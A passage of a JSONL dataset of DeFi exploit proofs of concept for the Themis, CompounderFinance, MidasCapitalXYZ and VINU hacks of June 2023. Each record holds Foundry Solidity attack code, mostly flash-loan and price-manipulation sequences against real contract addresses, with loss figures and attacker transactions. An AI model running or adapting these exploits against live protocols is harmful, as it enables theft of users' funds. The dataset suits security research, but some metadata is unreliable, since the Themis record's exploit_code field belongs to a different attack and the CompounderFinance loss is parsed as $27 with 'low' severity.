IGauge(0x8F0B53F3BA19Ee31C0A73a6F6D84106340fadf5f);\n IPool BalancerPool = IPool(0x36bf227d6BaC96e2aB1EbB5492ECec69C691943f);\n IAggregator Aggregator = IAggregator(0x17df2B52f5D756420846c78c69F4fE4fF10e57A4);\n address private constant proxyAddress = 0xdE85D18ADdA9D2b9eAfa7Dbf0ceC5A89119d90F0;\n address private constant themisWETH = 0xe611e633C1E88d4f026fec5Bc1E40E8A477f41aD;\n address private constant themisContract = 0x2132d49157D6148dEe8753f059fAd1C1b09C477c;\n\n constructor() payable {\n WETH.approve(address(BalancerVault), type(uint256).max);\n BalancerPool.approve(address(BalancerGauge), type(uint256).max);\n BalancerGauge.approve(proxyAddress, type(uint256).max);\n depositWETH();\n\n address[] memory tokens = new address[](2);\n tokens[0] = address(wstETH);\n tokens[1] = address(WETH);\n uint256[] memory amountsIn = new uint256[](2);\n amountsIn[0] = 0;\n amountsIn[1] = 55e18;\n\n bytes memory data =\n hex\"00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002fb474098f67c0000\";\n\n IBalancerVault.JoinPoolRequest memory request = IBalancerVault.JoinPoolRequest({\n asset: tokens,\n maxAmountsIn: amountsIn,\n userData: data,\n fromInternalBalance: false\n });\n BalancerVault.joinPool(BalancerPool.getPoolId(), address(this), address(this), request);\n\n BalancerGauge.deposit(BalancerPool.balanceOf(address(this)), address(this));\n proxyCall();\n balancerSwap();\n Aggregator.latestAnswer();\n borrowWETH();\n WETH.transfer(msg.sender, WETH.balanceOf(address(this)));\n }\n\n function borrowWETH() internal {\n (bool success, bytes memory retData) = themisContract.call(\n abi.encodeWithSignature(\n \"borrow(address,address,uint256,uint256)\", address(WETH), address(this), WETH.balanceOf(themisWETH), 2\n )\n );\n\n require(success, \"Call not successful\");\n }\n\n function balancerSwap() internal {\n (bool success, bytes memory retData) = msg.sender.call(\n abi.encodeWithSignature(\n \"balancerSwap(address,address,uint256)\", address(WETH), address(wstETH), 39_725 * 1e18\n )\n );\n require(success, \"Call not successful\");\n }\n\n function proxyCall() internal {\n (bool success, bytes memory retData) = proxyAddress.call(\n abi.encodeWithSelector(bytes4(0x41d11324), address(BalancerGauge), BalancerGauge.balanceOf(address(this)))\n );\n require(success, \"Call not successful\");\n }\n\n function depositWETH() internal {\n (bool success, bytes memory retData) = address(WETH).call{value: 55 ether}(abi.encodeWithSignature(\"deposit()\"));\n require(success, \"Call not successful\");\n }\n}\n", "type": "exploit_poc", "protocol": "Themis", "date": "2023-06", "file_name": "Themis_exp.sol", "attack_vector": "flash_loan", "content_hash": "1bcae309a0a6be81", "collected_at": "2026-01-07T10:59:16.511971", "_source": "postmortems", "chain": "arbitrum", "block_number": 105524523, "total_lost_raw": "~370K USD$", "total_lost_usd": 370000.0, "attacker_address": "https://arbiscan.io/address/0xdb73eb484e7dea3785520d750eabef50a9b9ab33", "attack_contract": null, "vulnerable_contract": "https://arbiscan.io/address/0x75f805e2fb248462e7817f0230b36e9fae0280fc", "attack_tx": "https://arbiscan.io/tx/0xff368294ccb3cd6e7e263526b5c820b22dea2b2fd8617119ba5c3ab8417403d8", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~370K USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n WETH.approve(address(AaveV3), type(uint256).max);\n\n address[] memory assets = new address[](1);\n assets[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 22_000 * 1e18;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n AaveV3.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n\n uniswapV3Swap(DAI_USDC, true, DAI.balanceOf(address(this)), 39_213_280_958_319_573_512_907);\n uniswapV3Swap(WETH_ARB, false, ARB.balanceOf(address(this)), 6_123_808_957_771_478_940_080_370_857_742);\n uniswapV3Swap(WBTC_WETH, true, WBTC.balanceOf(address(this)), 21_845_559_093_545_742_410_589_827_953_560_948);\n emit log_named_decimal_uint(\n \"Attacker's amount of WETH after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker's amount of USDC after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker's amount of USDT after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~370K USD$", "keyinfo_attacker": "https://arbiscan.io/address/0xdb73eb484e7dea3785520d750eabef50a9b9ab33", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://arbiscan.io/address/0x75f805e2fb248462e7817f0230b36e9fae0280fc", "keyinfo_attack_tx": "https://arbiscan.io/tx/0xff368294ccb3cd6e7e263526b5c820b22dea2b2fd8617119ba5c3ab8417403d8", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$370.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "Themis Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~27,174K USD$\n// Attacker : https://etherscan.io/address/0x0e816b0d0a66252c72af822d3e0773a2676f3278\n// Attack Contract : https://etherscan.io/address/0x2d7973177d594237a9b347cd41082af4cbb40f2b\n// Vulnerable Contract : https://etherscan.io/address/0xaf274e912243b19b882f02d731dacd7cd13072d0\n// Attack Tx : https://etherscan.io/tx/0xcff84cc137c92e427f720ca1f2b36fbad793f34ec5117eed127060686e6797b1\n\n// @Analysis\n// https://twitter.com/numencyber/status/1666346419702362112\n\ninterface IcDAI {\n function balanceOf(\n address owner\n ) external view returns (uint256);\n\n function deposit(uint256 _amount, bool _autoStakeInStakingPool) external;\n\n function withdraw(uint256 _shares, bool _autoWithdrawInStakingPool) external;\n}\n\ninterface IyDAI {\n function balanceOf(\n address owner\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function deposit(\n uint256 _amount\n ) external;\n\n function withdraw(\n uint256 _shares\n ) external;\n}\n\ninterface ICurveSwap {\n function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;\n}\n\ninterface IStrategyCurve {\n function deposit() external;\n}\n\ncontract ContractTest is Test {\n IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n // Compounder DAI Stablecoin\n IcDAI cDAI = IcDAI(0x2381742592ab54dC2e89f193AF682D914A8b24C1);\n // iearn DAI\n IyDAI yDAI = IyDAI(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01);\n IERC20 yUSDC = IERC20(0xd6aD7a6750A7593E092a9B218d66C0A814a3436e);\n IERC20 yUSDT = IERC20(0x83f798e925BcD4017Eb265844FDDAbb448f1707D);\n IERC20 yTUSD = IERC20(0x73a052500105205d34Daf004eAb301916DA8190f);\n IERC20 CentreUSDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n Uni_Pair_V3 DAIUSDCPool = Uni_Pair_V3(0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168);\n ICurveSwap CurveFiSwap = ICurveSwap(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);\n IStrategyCurve StrategyDAICurve = IStrategyCurve(0xaf274e912243b19B882f02d731dacd7CD13072D0);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 17_426_064);\n cheats.label(address(DAI), \"DAI\");\n cheats.label(address(cDAI), \"cDAI\");\n cheats.label(address(yDAI), \"yDAI\");\n cheats.label(address(yUSDC), \"yUSDC\");\n cheats.label(address(yUSDT), \"yUSDT\");\n cheats.label(address(yTUSD), \"yTUSD\");\n cheats.label(address(CentreUSDC), \"CentreUSDC\");\n cheats.label(address(DAIUSDCPool), \"DAIUSDCPool\");\n cheats.label(address(CurveFiSwap), \"CurveFiSwap\");\n cheats.label(address(StrategyDAICurve), \"StrategyDAICurve\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Attacker amount of DAI before hack\", DAI.balanceOf(address(this)), DAI.decimals());\n\n // Step 1. Flashloan 1_239 DAI through Uniswap V3 flash loans\n DAIUSDCPool.flash(address(this), 1_239_990 * 1e18, 0, \"\");\n\n emit log_named_decimal_uint(\"Attacker amount of DAI after hack\", DAI.balanceOf(address(this)), DAI.decimals());\n }\n\n function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n // Approvals\n DAI.approve(address(yDAI), type(uint256).max);\n DAI.approve(address(cDAI), type(uint256).max);\n yDAI.approve(address(CurveFiSwap), type(uint256).max);\n yUSDC.approve(address(CurveFiSwap), type(uint256).max);\n yUSDT.approve(address(CurveFiSwap), type(uint256).max);\n yTUSD.approve(address(CurveFiSwap), type(uint256).max);\n\n // Step 2. Deposit 200_000 DAI and 1_000_000 DAI. Receive ~ 1_340_000 cDAI and 880_000 yDAI, respectively\n cDAI.deposit(200_000 * 1e18, false);\n yDAI.deposit(1_000_000 * 1e18);\n\n // Step 3. Exchange 50_000 yDAI for ~41_000 yUSDC, 160,000 yDAI for ~94,000 yTUSD and the rest of yDAI balance for ~48,693,900 yUSDT\n CurveFiSwap.exchange(0, 1, 50_000 * 1e18, 0);\n CurveFiSwap.exchange(0, 3, 160_000 * 1e18, 0);\n CurveFiSwap.exchange(0, 2, yDAI.balanceOf(address(this)), 0);\n\n // Step 4. Withdraw deposit ~1_340_000 cDAI and immediately call the StrategyDAICurve deposit function\n // This step involved depositing all the current DAI tokens into the contract and adding yDAI liquidity, which disrupted the balance of the trading pair\n DAI.transfer(address(StrategyDAICurve), DAI.balanceOf(address(this)));\n cDAI.withdraw(cDAI.balanceOf(address(this)), false);\n StrategyDAICurve.deposit();\n\n // Step 5. Reverse 3 conversions from step 3\n CurveFiSwap.exchange(1, 0, yUSDC.balanceOf(address(this)), 0);\n CurveFiSwap.exchange(2, 0, yUSDT.balanceOf(address(this)), 0);\n CurveFiSwap.exchange(3, 0, yTUSD.balanceOf(address(this)), 0);\n\n // Step 6. Release accumulated yDAI from deposit (~910_000 yDAI). The result of this step is withdrawal of ~1_030_000 DAI\n yDAI.withdraw(yDAI.balanceOf(address(this)));\n\n // Step 7. Repay flashloan.\n DAI.transfer(address(DAIUSDCPool), 1_239_990 * 1e18 + fee0);\n }\n}\n", "type": "exploit_poc", "protocol": "CompounderFinance", "date": "2023-06", "file_name": "CompounderFinance_exp.sol", "attack_vector": "flash_loan", "content_hash": "45751ee4679cefbc", "collected_at": "2026-01-07T10:59:16.512052", "_source": "postmortems", "chain": "ethereum", "block_number": 17426064, "total_lost_raw": "~27,174K USD$", "total_lost_usd": 27.0, "attacker_address": "https://etherscan.io/address/0x0e816b0d0a66252c72af822d3e0773a2676f3278", "attack_contract": "https://etherscan.io/address/0x2d7973177d594237a9b347cd41082af4cbb40f2b", "vulnerable_contract": "https://etherscan.io/address/0xaf274e912243b19b882f02d731dacd7cd13072d0", "attack_tx": "https://etherscan.io/tx/0xcff84cc137c92e427f720ca1f2b36fbad793f34ec5117eed127060686e6797b1", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~27,174K USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Attacker amount of DAI before hack\", DAI.balanceOf(address(this)), DAI.decimals());\n\n // Step 1. Flashloan 1_239 DAI through Uniswap V3 flash loans\n DAIUSDCPool.flash(address(this), 1_239_990 * 1e18, 0, \"\");\n\n emit log_named_decimal_uint(\"Attacker amount of DAI after hack\", DAI.balanceOf(address(this)), DAI.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "~27,174K USD$", "keyinfo_attacker": "https://etherscan.io/address/0x0e816b0d0a66252c72af822d3e0773a2676f3278", "keyinfo_attack_contract": "https://etherscan.io/address/0x2d7973177d594237a9b347cd41082af4cbb40f2b", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xaf274e912243b19b882f02d731dacd7cd13072d0", "keyinfo_attack_tx": "https://etherscan.io/tx/0xcff84cc137c92e427f720ca1f2b36fbad793f34ec5117eed127060686e6797b1", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$27", "content_richness_score": 9.68, "quality_estimate": "high", "title": "CompounderFinance Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"./../basetest.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$600K\n// Attacker : https://bscscan.com/address/0x4b92cc3452ef1e37528470495b86d3f976470734\n// Attack Contract : https://bscscan.com/address/0xc40119c7269a5fa813d878bf83d14e3462fc8fde\n// Vulnerable Contract : https://bscscan.com/address/0xf8527dc5611b589cbb365acacaac0d1dc70b25cb\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x4a304ff08851106691f626045b0f55d403e3a0958363bdf82b96e8ce7209c3a6\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xf8527dc5611b589cbb365acacaac0d1dc70b25cb#code\n\n// @Analysis\n// Post-mortem : https://medium.com/midas-capital/midas-exploit-post-mortem-1ae266222994\n\ninterface IHAY_BUSDT_Vault {\n function deposit(uint256 amount, address to) external returns (uint256);\n}\n\ninterface IankrBNB_WBNB {\n function swap(\n address recipient,\n bool zeroToOne,\n int256 amountRequired,\n uint160 limitSqrtPrice,\n bytes memory data\n ) external returns (int256 amount0, int256 amount1);\n}\n\ncontract MidasXYZExploit is Test {\n IERC20 private constant ANKR = IERC20(0xf307910A4c7bbc79691fD374889b36d8531B08e3);\n IERC20 private constant ankrBNB = IERC20(0x52F24a5e03aee338Da5fd9Df68D2b6FAe1178827);\n IERC20 private constant HAY = IERC20(0x0782b6d8c4551B9760e74c0545a9bCD90bdc41E5);\n IERC20 private constant BUSDT = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n IWBNB private constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n Uni_Pair_V2 private constant ankrBNB_ANKRV2 = Uni_Pair_V2(0x8028AC1195B6469de22929C4f329f96B06d65F25);\n Uni_Pair_V3 private constant ankrBNB_ANKRV3 = Uni_Pair_V3(0xC8Cbf9b12552c0B85fc368AA530cc31E00526E2F);\n Uni_Pair_V2 private constant HAY_BUSDT = Uni_Pair_V2(0x93B32a8dfE10e9196403dd111974E325219aec24);\n ISimplePriceOracle private constant Oracle = ISimplePriceOracle(0xB641c21124546e1c979b4C1EbF13aB00D43Ee8eA);\n ICErc20Delegate private constant fsAMM_HAY_BUSD =\n ICErc20Delegate(payable(0xF8527Dc5611B589CbB365aCACaac0d1DC70b25cB));\n Uni_Pair_V3 private constant WBNB_BUSDT = Uni_Pair_V3(0x85FAac652b707FDf6907EF726751087F9E0b6687);\n IHAY_BUSDT_Vault private constant HAY_BUSDT_Vault = IHAY_BUSDT_Vault(0x02706A482fc9f6B20238157B56763391a45bE60E);\n IankrBNB_WBNB private constant ankrBNB_WBNB = IankrBNB_WBNB(0x2F6C6e00E517944EE5EFE310cd0b98A3fC61Cb98);\n\n uint256 private constant blocknumToForkFrom = 29_185_768;\n uint160 private constant sqrtPriceLimitX96 = 4_295_128_740;\n Borrower private borrower;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n vm.label(address(ANKR), \"ANKR\");\n vm.label(address(ankrBNB_ANKRV2), \"ankrBNB_ANKRV2\");\n vm.label(address(ankrBNB_ANKRV3), \"ankrBNB_ANKRV3\");\n vm.label(address(HAY_BUSDT), \"HAY_BUSDT\");\n vm.label(address(Oracle), \"Oracle\");\n vm.label(address(fsAMM_HAY_BUSD), \"fsAMM_HAY_BUSD\");\n vm.label(address(WBNB_BUSDT), \"WBNB_BUSDT\");\n }\n\n function testExploit() public {\n // Initial HAY and BUSDT amounts transferred by exploiter to this contract before attack start\n deal(address(HAY), address(this), 220_000e18);\n deal(address(BUSDT), address(this), 23_000e18);\n\n emit log_named_decimal_uint(\n \"Exploiter ankrBNB balance before attack\", ankrBNB.balanceOf(address(this)), ankrBNB.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter ANKR balance before attack\", ANKR.balanceOf(address(this)), ANKR.decimals()\n );\n\n ankrBNB_ANKRV2.swap(0, ANKR.balanceOf(address(ankrBNB_ANKRV2)) - 1, address(this), bytes(\"_\"));\n\n emit log_named_decimal_uint(\n \"Exploiter ANKR balance after attack\", ANKR.balanceOf(address(this)), ANKR.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter ankrBNB balance after attack\", ankrBNB.balanceOf(address(this)), ankrBNB.decimals()\n );\n }\n\n function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n borrower = new Borrower();\n ANKR.transfer(address(borrower), _amount1);\n uint256 flashAmount = ANKR.balanceOf(address(ankrBNB_ANKRV3));\n bytes memory data = abi.encode(flashAmount, _amount1);\n ankrBNB_ANKRV3.flash(address(borrower), 0, ANKR.balanceOf(address(ankrBNB_ANKRV3)), data);\n }\n\n function algebraFlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n (uint256 flashRepayAmountV3, uint256 flashRepayAmountV2) = abi.decode(data, (uint256, uint256));\n uint256 liquidityMinted = transferTokensAndMintLiqudity(20_000e18);\n HAY_BUSDT.approve(address(fsAMM_HAY_BUSD), type(uint256).max);\n fsAMM_HAY_BUSD.mint(liquidityMinted);\n fsAMM_HAY_BUSD.redeem(fsAMM_HAY_BUSD.balanceOf(address(this)) - 1001);\n HAY_BUSDT.approve(address(HAY_BUSDT_Vault), type(uint256).max);\n HAY_BUSDT_Vault.deposit(HAY_BUSDT.balanceOf(address(this)), address(fsAMM_HAY_BUSD));\n fsAMM_HAY_BUSD.transfer(address(borrower), 1001);\n borrower.execute();\n Minter minter = new Minter();\n ankrBNB.transfer(address(minter), 115e18);\n minter.mint();\n uint256 amountRequired = ankrBNB.balanceOf(address(this)) - 1e18;\n ankrBNB_WBNB.swap(\n address(this),\n true,\n int256(amountRequired),\n sqrtPriceLimitX96, // limitSqrtPrice\n bytes(\"\")\n );\n\n WBNB_BUSDT.swap(address(this), true, int256(WBNB.balanceOf(address(this)) - 1e18), sqrtPriceLimitX96, bytes(\"\"));\n liquidityMinted = transferTokensAndMintLiqudity(HAY.balanceOf(address(this)));\n HAY_BUSDT_Vault.deposit(liquidityMinted, address(fsAMM_HAY_BUSD));\n borrower.exit();\n ANKR.transfer(address(ankrBNB_ANKRV3), flashRepayAmountV3 + fee1);\n ANKR.transfer(address(ankrBNB_ANKRV2), (flashRepayAmountV2 * 10_026) / 10_000);\n }\n\n function algebraSwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n ankrBNB.transfer(msg.sender, uint256(amount0Delta));\n }\n\n function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata _data) external {\n WBNB.transfer(msg.sender, uint256(amount0Delta));\n }\n\n function transferTokensAndMintLiqudity(\n uint256 amount\n ) private returns (uint256 liquidity) {\n (uint112 reserveHAY, uint112 reserveBUSDT,) = HAY_BUSDT.getReserves();\n uint256 transferAmountBUSDT = (amount * reserveBUSDT) / reserveHAY;\n HAY.transfer(address(HAY_BUSDT), amount);\n BUSDT.transfer(address(HAY_BUSDT), transferAmountBUSDT);\n return HAY_BUSDT.mint(address(this));\n }\n}\n\ncontract Borrower is Test {\n IERC20 private constant ANKR = IERC20(0xf307910A4c7bbc79691fD374889b36d8531B08e3);\n ICErc20Delegate private constant fANKR = ICErc20Delegate(payable(0x13aE975c5A1198e4F47c68C31C1230694DC44A57));\n ICErc20Delegate private constant fankrBNB = ICErc20Delegate(payable(0xb2b01D6f953A28ba6C8f9E22986f5bDDb7653aEa));\n ICErc20Delegate private constant fHAY = ICErc20Delegate(payable(0x10b6f851225c203eE74c369cE876BEB56379FCa3));\n ICErc20Delegate private constant fsAMM_HAY_BUSD =\n ICErc20Delegate(payable(0xF8527Dc5611B589CbB365aCACaac0d1DC70b25cB));\n ICointroller private constant Unitroller = ICointroller(0x1851e32F34565cb95754310b031C5a2Fc0a8a905);\n IERC20 private constant ankrBNB = IERC20(0x52F24a5e03aee338Da5fd9Df68D2b6FAe1178827);\n IERC20 private constant HAY = IERC20(0x0782b6d8c4551B9760e74c0545a9bCD90bdc41E5);\n\n function execute() external {\n ANKR.approve(address(fANKR), type(uint256).max);\n fANKR.mint(ANKR.balanceOf(address(this)));\n\n address[] memory fTokens = new address[](2);\n fTokens[0] = address(fANKR);\n fTokens[1] = address(fsAMM_HAY_BUSD);\n Unitroller.enterMarkets(fTokens);\n uint256 borrowAmount = fankrBNB.getCash();\n fankrBNB.borrow(borrowAmount);\n borrowAmount = fHAY.borrow(borrowAmount);\n ankrBNB.transfer(msg.sender, ankrBNB.balanceOf(address(this)));\n HAY.transfer(msg.sender, HAY.balanceOf(address(this)));\n ANKR.transfer(msg.sender, ANKR.balanceOf(address(this)));\n }\n\n function exit() external {\n fsAMM_HAY_BUSD.transfer(msg.sender, 1);\n uint256 borrowAmount = fankrBNB.getCash();\n fankrBNB.borrow(borrowAmount);\n Unitroller.exitMarket(address(fANKR));\n borrowAmount = (686_000e18 - fANKR.totalBorrowsCurrent()) - 1;\n fANKR.borrow(borrowAmount);\n fANKR.redeem(fANKR.balanceOf(address(this)));\n ankrBNB.transfer(msg.sender, ankrBNB.balanceOf(address(this)));\n ANKR.transfer(msg.sender, ANKR.balanceOf(address(this)));\n }\n}\n\ncontract Minter is Test {\n IERC20 private constant ankrBNB = IERC20(0x52F24a5e03aee338Da5fd9Df68D2b6FAe1178827);\n ICErc20Delegate private constant fankrBNB = ICErc20Delegate(payable(0xb2b01D6f953A28ba6C8f9E22986f5bDDb7653aEa));\n\n function mint() external {\n ankrBNB.approve(address(fankrBNB), type(uint256).max);\n fankrBNB.mint(ankrBNB.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "MidasCapitalXYZ", "date": "2023-06", "file_name": "MidasCapitalXYZ_exp.sol", "attack_vector": "oracle_manipulation", "content_hash": "ead75e70ac1ce3d0", "collected_at": "2026-01-07T10:59:16.512124", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~$600K", "total_lost_usd": 600000.0, "attacker_address": "https://bscscan.com/address/0x4b92cc3452ef1e37528470495b86d3f976470734", "attack_contract": "https://bscscan.com/address/0xc40119c7269a5fa813d878bf83d14e3462fc8fde", "vulnerable_contract": "https://bscscan.com/address/0xf8527dc5611b589cbb365acacaac0d1dc70b25cb", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x4a304ff08851106691f626045b0f55d403e3a0958363bdf82b96e8ce7209c3a6", "postmortem_url": "https://medium.com/midas-capital/midas-exploit-post-mortem-1ae266222994", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~$600K", "category": "oracle-manipulation", "exploit_code": "function testExploit() public {\n // Initial HAY and BUSDT amounts transferred by exploiter to this contract before attack start\n deal(address(HAY), address(this), 220_000e18);\n deal(address(BUSDT), address(this), 23_000e18);\n\n emit log_named_decimal_uint(\n \"Exploiter ankrBNB balance before attack\", ankrBNB.balanceOf(address(this)), ankrBNB.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter ANKR balance before attack\", ANKR.balanceOf(address(this)), ANKR.decimals()\n );\n\n ankrBNB_ANKRV2.swap(0, ANKR.balanceOf(address(ankrBNB_ANKRV2)) - 1, address(this), bytes(\"_\"));\n\n emit log_named_decimal_uint(\n \"Exploiter ANKR balance after attack\", ANKR.balanceOf(address(this)), ANKR.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter ankrBNB balance after attack\", ankrBNB.balanceOf(address(this)), ankrBNB.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$600K", "keyinfo_attacker": "https://bscscan.com/address/0x4b92cc3452ef1e37528470495b86d3f976470734", "keyinfo_attack_contract": "https://bscscan.com/address/0xc40119c7269a5fa813d878bf83d14e3462fc8fde", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xf8527dc5611b589cbb365acacaac0d1dc70b25cb", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x4a304ff08851106691f626045b0f55d403e3a0958363bdf82b96e8ce7209c3a6", "analysis_postmortem": "https://medium.com/midas-capital/midas-exploit-post-mortem-1ae266222994", "analysis_twitter": "", "funds_lost_formatted": "$600.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "MidasCapitalXYZ Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~6k USD$\n// Attacker : https://etherscan.io/address/0x9748c8540a5f752ba747f1203ac13dae789033de\n// Attack Contract : https://etherscan.io/address/0xf73b8ea8838cba9148fb182e267a000f7cfba8dd\n// Attack Tx : https://etherscan.io/tx/0xaf46a42fe1ed7193b25c523723dc047c7500e50a00ecb7bbb822d665adb3e1f3\n\n// @Analysis\n// https://twitter.com/hexagate_/status/1666051854386511873?cxt=HHwWgoC24bPVgJ8uAAAA\n\ninterface IVINU is IERC20 {\n function addLiquidityETH(address routerAddr, address lprAddr, address devAddr) external;\n}\n\ncontract VinuTest is Test {\n // Viral INU token\n IVINU VINU = IVINU(0xF7ef0D57277ad6C2baBf87aB64bA61AbDd2590D2);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n Uni_Router_V2 UniswapV2Router02 = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0xa8AF8ac7aCd97095c0d73eD51E30564d52b19cd8);\n address private constant flashbotsAddress = 0xDAFEA492D9c6733ae3d56b7Ed1ADB60692c98Bc5;\n Router FakeRouter;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n deal(address(this), 0.5 ether);\n cheats.createSelectFork(\"mainnet\", 17_421_006);\n cheats.label(address(VINU), \"VINU\");\n cheats.label(address(WETH), \"WETH\");\n cheats.label(address(UniswapV2Router02), \"UniswapV2Router02\");\n cheats.label(flashbotsAddress, \"flashbotsAddress\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Attacker's contract ETH balance before attack\", address(this).balance, 18);\n\n emit log_named_decimal_uint(\n \"Attacker's contract WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(VINU);\n UniswapV2Router02.swapExactETHForTokens{value: 0.1 ether}(0, path, address(this), block.timestamp + 100);\n\n // Deploying fake Router contract\n FakeRouter = new Router();\n\n // Manipulating the price of VINU\n for (uint256 i; i < 4; ++i) {\n VINU.addLiquidityETH(address(FakeRouter), address(this), address(Pair));\n }\n Pair.sync();\n uint256 amountIn = VINU.balanceOf(address(this));\n VINU.transfer(address(Pair), VINU.balanceOf(address(this)));\n\n (uint112 reserveWETH, uint112 reserveVINU,) = Pair.getReserves();\n flashbotsAddress.call{value: 0.000000001 ether}(\"\");\n uint256 amountOut = UniswapV2Router02.getAmountOut(amountIn, reserveVINU, reserveWETH);\n\n Pair.swap(amountOut, 0, address(this), \"\");\n\n emit log_named_decimal_uint(\"Attacker's contract ETH balance after attack\", address(this).balance, 18);\n\n emit log_named_decimal_uint(\n \"Attacker's contract WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n}\n\ncontract Router {\n address private constant wethAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n function factory() external view returns (address) {\n return address(this);\n }\n\n function WETH() external view returns (address) {\n return wethAddr;\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n return true;\n }\n\n function createPair(address tokenA, address tokenB) external returns (address) {\n return address(this);\n }\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity) {\n return (0, 0, 0);\n }\n}\n", "type": "exploit_poc", "protocol": "VINU", "date": "2023-06", "file_name": "VINU_exp.sol", "attack_vector": null, "content_hash": "b5fd7b0688da9c82", "collected_at": "2026-01-07T10:59:16.512201", "_source": "postmortems", "chain": "ethereum", "block_number": 17421006, "total_lost_raw": "~6k USD$", "total_lost_usd": 6000.0, "attacker_address": "https://etherscan.io/address/0x9748c8540a5f752ba747f1203ac13dae789033de", "attack_contract": "https://etherscan.io/address/0xf73b8ea8838cba9148fb182e267a000f7cfba8dd", "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0xaf46a42fe1ed7193b25c523723dc047c7500e50a00ecb7bbb822d665adb3e1f3", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, 